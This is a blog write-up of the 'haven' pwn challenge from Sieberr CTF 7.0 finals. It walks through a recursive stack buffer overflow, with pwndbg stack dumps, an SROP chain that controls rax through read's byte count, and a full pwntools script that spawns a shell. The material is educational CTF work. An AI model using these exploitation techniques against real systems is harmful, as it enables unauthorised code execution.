Post

Sieberr CTF 7.0 finals pwn

Writeup for haven and split from finals

Sieberr CTF 7.0 finals pwn

Table of Contents

Hi

A few days ago my friends and I participated in SCTF 7.0 finals and got 2nd yay!
Managed to first blood haven during comp and upsolved split after.
Thanks to hengwei for slaving away at pwn with me.

haven

Challenge protections

haven
No PIE
Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// gcc -o chal chal.c -Wl,-z,relro,-z,now -fno-pie -no-pie
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>

void vuln() {
    char buf[8]={0};
    uint64_t exit=0;
    read(0, buf, 32);    
    if (exit == -1) return;
    vuln();
    return;
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    vuln();
    _exit(1295);
}

Relatively short and simple source. We have a 32 byte read into an 8 byte buffer, giving us an overflow. We can immediately think of some kind of ROP.

Solve

Let’s first examine the stack layout after entering a few A’s.
It is also good for us to examine the disassembly of vuln().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> disass vuln
Dump of assembler code for function vuln:
   0x0000000000401146 <+0>:     push   rbp
   0x0000000000401147 <+1>:     mov    rbp,rsp
   0x000000000040114a <+4>:     sub    rsp,0x10
   0x000000000040114e <+8>:     mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000401156 <+16>:    mov    QWORD PTR [rbp-0x8],0x0
   0x000000000040115e <+24>:    lea    rax,[rbp-0x10]
   0x0000000000401162 <+28>:    mov    edx,0x20
   0x0000000000401167 <+33>:    mov    rsi,rax
   0x000000000040116a <+36>:    mov    edi,0x0
   0x000000000040116f <+41>:    call   0x401050 <read@plt>
   0x0000000000401174 <+46>:    cmp    QWORD PTR [rbp-0x8],0xffffffffffffffff
   0x0000000000401179 <+51>:    je     0x401187 <vuln+65>
   0x000000000040117b <+53>:    mov    eax,0x0
   0x0000000000401180 <+58>:    call   0x401146 <vuln>
   0x0000000000401185 <+63>:    jmp    0x401188 <vuln+66>
   0x0000000000401187 <+65>:    nop
   0x0000000000401188 <+66>:    leave
   0x0000000000401189 <+67>:    ret

pwndbg> x/20gx 0x7fffffffd8b0
0x7fffffffd8b0: 0x0000000a41414141      0x0000000000000000  <- input, `exit`
0x7fffffffd8c0: 0x00007fffffffd8d0      0x00000000004011c0  <- saved rbp, ret address
0x7fffffffd8d0: 0x0000000000000001      0x00007ffff7e0824a
...

So it look like we are only able to control the 8 byte buffer, the exit variable, saved rbp and return address…. OR ARE WE? 🤔🤔🤔🤔
Notice that vuln() is called recursively until exit is -1.

1
2
3
4
5
6
pwndbg> x/20gx 0x7fffffffd890
0x7fffffffd890: 0x0000000a62626262      0x0000000000000000 <- 2nd time vuln is called
0x7fffffffd8a0: 0x00007fffffffd8c0      0x0000000000401185
0x7fffffffd8b0: 0x0000000a41414141      0x0000000000000000 <- 1st time vuln is called
0x7fffffffd8c0: 0x00007fffffffd8d0      0x00000000004011c0
0x7fffffffd8d0: 0x0000000000000001      0x00007ffff7e0824a

Also notice that whenever vuln() is called, the stack frames are stacked on top of each other.
Thus, if we recursively call vuln(), we can fill the stack with a ROP chain!
I got this idea from a previous challenge I did here from Cyberthon 2025, though that one only gave you a 1 null byte overwrite of saved RBP.

ROP

Of so now we know how to ROP (you can test that it works by placing random gadgets such as ret), but what exactly should we do?
Well…

1
2
3
4
ROPgadget --binary ./chal_patched
...
0x00000000004011c1 : syscall
...

The binary very kindly gives us a syscall, through _exit(1295). Seeing this, SROP comes to mind.
However, for SROP, we need to somehow set our RAX register to be 15 (for syscall 15, rt_sigreturn).
Unfortunately, we do not have any good gadgets for this, so we will have to do it a different way.

Using read

One way that we can do this is by using the read call.
read stores the number of bytes read into the rax register, so if we call read and enter exactly 15 bytes, we will have our rax control.
(sorry im a bit too lazy to include proof and pictures)

SROP

Thus, our workflow will be:

  1. place sigreturn frame on the stack through recursive calls
    • our first frame will be to pivot to bss
    • it should call read again to set up another chain, this time to call our shell
  2. place our read and syscall calls
  3. break out of the recursive call, our rop chain now executes
  4. send 15 bytes to trigger the first frame
  5. we are now reading into bss
  6. place another rop chain to call read again, as well as place our 2nd sigreturn frame
  7. read 15 bytes for syscall
    • this part required a bit more visualisation as you will ovewrite your own rop chain, as such, it is in this read where our syscall needs to be placed
    • you can use gdb with breakpoints/pause to see where exactly your rsp/execution is before/during/after reading
  8. syscall executes, we win

Full Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/python3
from pwn import *
from sys import argv

e = context.binary = ELF('./chal_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if len(argv) > 1:
    ip, port = argv[1].split(":")
    conn = lambda: remote(ip, port)
else:
    conn = lambda: e.process()

p = conn()
rop = ROP(e)

# gdb.attach(p)
# bss = e.bss() + 0x500
# leave_ret = rop.find_gadget(['leave','ret']).address

# payload  = b"A"*8
# payload += p64(0xffffffffffffffff)   # stop recursion
# payload += p64(bss)                  # overwrite saved RBP
# payload += p64(leave_ret)
# p.send(payload)
ret = rop.find_gadget(['ret']).address
syscall = rop.find_gadget(['syscall']).address
# syscall_ret = rop.find_gadget(['syscall','ret']).address

fake_stack = e.bss() + 0x100

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = fake_stack
frame.rdx = 8+8+248+8
frame.rsp = fake_stack
frame.rip = e.plt.read

# frame+=b'\x00'*(248-224)
frame = bytes(frame)
print(len(frame))
frame += b'\x00'*(248-224)
print(len(bytes(frame)))
payloads = [
    frame[0:0x20],
    frame[0x20:0x40],
    (frame)[0x40:0x60],
    (frame)[0x60:0x80],
    (frame)[0x80:160],
    (frame)[160:192],
    (frame)[192:224],
    (frame)[224:224+32]
    
]
print(payloads)
#place frame
p.send(payloads[7])
p.send(payloads[6])
p.send(payloads[5])
p.send(payloads[4])
p.send(payloads[3])
p.send(payloads[2])
p.send(payloads[1])
p.send(payloads[0])

#place read and syscall
payload = p64(ret)+p64(ret)+p64(e.plt.read) + p64(syscall) 
# payload 
rop = ROP(e)
p.send(payload)
# this part is lowkey useless, you do not need a ret sled
# payload = p64(ret)*4
# for i in range(10):
#     p.send(payload)

# p.send(payload)
# pause()
# stop recursion
p.send(b'A'*8+p64(0xffffffffffffffff)+ p64(e.bss()) + p64(ret))
# final payload needs to be aaaaaaaa + 0xffffffffffffffff
# import time
# time.sleep(1)
# pause()
# read 14 B and \n
p.sendline(b'B'*14)

# p.sendline()

frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = 0x404218
frame2.rsi = 0
frame2.rdx = 0
frame2.rsp = fake_stack+0x300
frame2.rip = syscall

pause()
# now in bss, place frame and read call
p.send(p64(e.plt.read) + p64(0) +bytes(frame2)+b'/bin/sh\x00')
# read 8 + syscall = 15 bytes
p.send(b'D'*8 + p64(syscall)[:7])

p.interactive()
This post is licensed under CC BY 4.0 by the author.